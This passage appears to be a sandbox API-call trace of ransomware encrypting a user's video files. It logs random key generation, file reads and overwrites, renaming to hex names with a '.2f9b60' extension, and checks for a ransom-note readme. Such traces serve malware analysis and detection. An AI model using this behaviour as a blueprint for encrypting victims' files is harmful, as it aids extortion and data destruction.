lpBuffer=0x202ee1b0*, nNumberOfBytesToWrite=0xe28, lpNumberOfBytesWritten=0x2469f694, lpOverlapped=0x0 | out: lpBuffer=0x202ee1b0*, lpNumberOfBytesWritten=0x2469f694*=0xe28, lpOverlapped=0x0) returned 1 [0100.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0100.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0100.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0100.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ee1b0) returned 1 [0100.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ea5a0) returned 1 [0100.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f230 [0100.581] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.581] WriteFile (in: hFile=0x1560, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2469f7b0, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x2469f7b0*=0x118, lpOverlapped=0x0) returned 1 [0100.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a30 [0100.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a30) returned 1 [0100.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261a30 [0100.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a00 [0100.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261940 [0100.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261940) returned 1 [0100.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b858cd0 [0100.714] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="40") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="86") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="dd") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="ad") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="ef") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="c2") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="1b") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="2a") returned 2 [0100.714] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="a8") returned 2 [0100.714] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="e8") returned 2 [0100.714] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="7c") returned 2 [0100.714] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="44") returned 2 [0100.714] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="25") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="eb") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="e0") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="e9") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="85") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="58") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="6b") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="55") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="a2") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="e9") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="3c") returned 2 [0100.714] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="69") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="fa") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="86") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="0d") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="6e") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="65") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="72") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="55") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="e2") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="fc") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="06") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="70") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="60") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d18, _Format="%c%c" | out: _Dest="7c") returned 2 [0100.715] sprintf (in: _Dest=0x1b858d1a, _Format="%c%c" | out: _Dest="94") returned 2 [0100.715] RtlInitAnsiString (in: DestinationString=0x2469f828, SourceString="4086ddadefc21b2aa8e87c4425ebe0e985586b55a2e93c69fa860d6e657255e2fc0670607c94" | out: DestinationString="4086ddadefc21b2aa8e87c4425ebe0e985586b55a2e93c69fa860d6e657255e2fc0670607c94") [0100.715] RtlAnsiStringToUnicodeString (in: DestinationString=0x2469f7f8, SourceString="4086ddadefc21b2aa8e87c4425ebe0e985586b55a2e93c69fa860d6e657255e2fc0670607c94", AllocateDestinationString=1 | out: DestinationString="4086ddadefc21b2aa8e87c4425ebe0e985586b55a2e93c69fa860d6e657255e2fc0670607c94") returned 0x0 [0100.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202adc30 [0100.715] wcscat (in: _Dest=0x202adb80, _Source="4086ddadefc21b2aa8e" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4086ddadefc21b2aa8e") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4086ddadefc21b2aa8e" [0100.715] wcscat (in: _Dest=0x202adb80, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4086ddadefc21b2aa8e.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4086ddadefc21b2aa8e.2f9b60" [0100.715] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4086ddadefc21b2aa8e.2f9b60", NtPathName=0x2469f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4086ddadefc21b2aa8e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x1190a0 [0107.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1190a0) returned 1 [0107.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd998e0) returned 1 [0107.356] NtQueryInformationFile (in: FileHandle=0x1560, IoStatusBlock=0x2469f838, FileInformation=0x2469f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2469f838, FileInformation=0x2469f848) returned 0x0 [0107.356] NtSetInformationFile (FileHandle=0x1560, IoStatusBlock=0x2469f838, FileInformation=0x2469f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adb80) returned 1 [0107.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adc30) returned 1 [0107.359] FlushFileBuffers (hFile=0x1560) returned 1 [0107.466] CloseHandle (hObject=0x1560) returned 1 [0107.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x204ff870 [0107.467] wcscpy (in: _Dest=0x204ff870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0107.467] wcscat (in: _Dest=0x204ff870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0107.467] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0107.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff870) returned 1 [0107.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a470) returned 1 Thread: id = 842 os_tid = 0x87c [0099.469] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\LF RHCN8 9Xj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\lf rhcn8 9xj.avi")) returned 0x20 [0099.469] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\LF RHCN8 9Xj.avi", dwFileAttributes=0x20) returned 1 [0099.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\LF RHCN8 9Xj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\lf rhcn8 9xj.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1564 [0099.469] GetFileSizeEx (in: hFile=0x1564, lpFileSize=0x1ff6f6e0 | out: lpFileSize=0x1ff6f6e0*=15492) returned 1 [0099.469] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x3c80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.469] ReadFile (in: hFile=0x1564, lpBuffer=0x1ff6f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ff6f6a8, lpOverlapped=0x0 | out: lpBuffer=0x1ff6f660*, lpNumberOfBytesRead=0x1ff6f6a8*=0x4, lpOverlapped=0x0) returned 1 [0099.470] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d90 [0099.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e50 [0099.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0099.471] NtQuerySystemTime (in: CurrentTime=0x1ff6f5a0 | out: CurrentTime=0x1ff6f5a0*=132462177049954000) returned 0x0 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x473dcbb1 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x5361da50 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x7941215d [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x78812d01 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0xb10cb02 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x67bd8358 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x4bda4062 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x4dbd9313 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x74ee5839 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x57add2dc [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x5a2f68a3 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x45af10f7 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x6ead5a1 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x582fff8b [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x1ebded19 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x48c6fc0c [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x5c192ccb [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x8f264fa [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x32de9650 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0xfdcb5d1 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x59865d1d [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x50eba59e [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x8375316 [0099.471] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x297bbebe [0099.472] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x7b5baadd [0099.472] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x9ba0502 [0099.472] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x2a98390f [0099.472] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x768a709d [0099.472] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x25b4675e [0099.472] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x3a90daad [0099.472] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x34098f23 [0099.472] RtlRandomEx (in: Seed=0x1ff6f590 | out: Seed=0x1ff6f590) returned 0x27fa4e00 [0099.481] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.481] ReadFile (in: hFile=0x1564, lpBuffer=0x2019f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ff6f600, lpOverlapped=0x0 | out: lpBuffer=0x2019f0f0*, lpNumberOfBytesRead=0x1ff6f600*=0x3c00, lpOverlapped=0x0) returned 1 [0099.481] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0099.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869440 [0099.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d90 [0099.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d90) returned 1 [0099.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d60 [0099.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d90 [0099.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0099.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ee0) returned 1 [0099.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 [0099.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0099.483] WriteFile (in: hFile=0x1564, lpBuffer=0x1ce64d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ff6f600, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d60*, lpNumberOfBytesWritten=0x1ff6f600*=0x3c00, lpOverlapped=0x0) returned 1 [0100.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d60) returned 1 [0100.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019f0f0) returned 1 [0100.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f3b0 [0100.605] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.605] WriteFile (in: hFile=0x1564, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x1ff6f6b0, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x1ff6f6b0*=0x112, lpOverlapped=0x0) returned 1 [0100.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0100.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ec0) returned 1 [0100.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0100.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0100.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0100.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f20) returned 1 [0100.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97350 [0100.665] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="c5") returned 2 [0100.665] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="23") returned 2 [0100.665] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="4b") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="5b") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="52") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="9b") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="40") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="e6") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="6c") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="48") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="4b") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="3d") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="38") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="b1") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="f1") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="10") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="92") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="1e") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="3a") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="c3") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="bc") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="93") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="4d") returned 2 [0100.666] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="ee") returned 2 [0100.666] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="fd") returned 2 [0100.667] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="2e") returned 2 [0100.667] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="ae") returned 2 [0100.667] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="7d") returned 2 [0100.667] sprintf (in: _Dest=0x1cd97388, _Format="%c%c" | out: _Dest="02") returned 2 [0100.667] sprintf (in: _Dest=0x1cd9738a, _Format="%c%c" | out: _Dest="aa") returned 2 [0100.667] sprintf (in: _Dest=0x1cd9738c, _Format="%c%c" | out: _Dest="81") returned 2 [0100.667] sprintf (in: _Dest=0x1cd9738e, _Format="%c%c" | out: _Dest="c1") returned 2 [0100.667] RtlInitAnsiString (in: DestinationString=0x1ff6f728, SourceString="c5234b5b529b40e66c484b3d38b1f110921e3ac3bc934deefd2eae7d02aa81c1" | out: DestinationString="c5234b5b529b40e66c484b3d38b1f110921e3ac3bc934deefd2eae7d02aa81c1") [0100.667] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ff6f6f8, SourceString="c5234b5b529b40e66c484b3d38b1f110921e3ac3bc934deefd2eae7d02aa81c1", AllocateDestinationString=1 | out: DestinationString="c5234b5b529b40e66c484b3d38b1f110921e3ac3bc934deefd2eae7d02aa81c1") returned 0x0 [0100.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af610 [0100.667] wcscat (in: _Dest=0x202ad760, _Source="c5234b5b529b40e6" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c5234b5b529b40e6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c5234b5b529b40e6" [0100.667] wcscat (in: _Dest=0x202ad760, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c5234b5b529b40e6.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c5234b5b529b40e6.2f9b60" [0100.667] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c5234b5b529b40e6.2f9b60", NtPathName=0x1ff6f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c5234b5b529b40e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x106940 [0107.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 [0107.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98760) returned 1 [0107.350] NtQueryInformationFile (in: FileHandle=0x1564, IoStatusBlock=0x1ff6f738, FileInformation=0x1ff6f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ff6f738, FileInformation=0x1ff6f748) returned 0x0 [0107.350] NtSetInformationFile (FileHandle=0x1564, IoStatusBlock=0x1ff6f738, FileInformation=0x1ff6f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad760) returned 1 [0107.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af610) returned 1 [0107.355] FlushFileBuffers (hFile=0x1564) returned 1 [0107.499] CloseHandle (hObject=0x1564) returned 1 [0107.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad980 [0107.501] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0107.501] wcscat (in: _Dest=0x1b7ad980, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0107.501] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0107.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 [0107.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a510) returned 1 Thread: id = 843 os_tid = 0x330 [0099.494] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\OM-EddbKFo.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\om-eddbkfo.flv")) returned 0x20 [0099.494] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\OM-EddbKFo.flv", dwFileAttributes=0x20) returned 1 [0099.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\OM-EddbKFo.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\om-eddbkfo.flv"), dwDesiredAccess=0xc0010000, 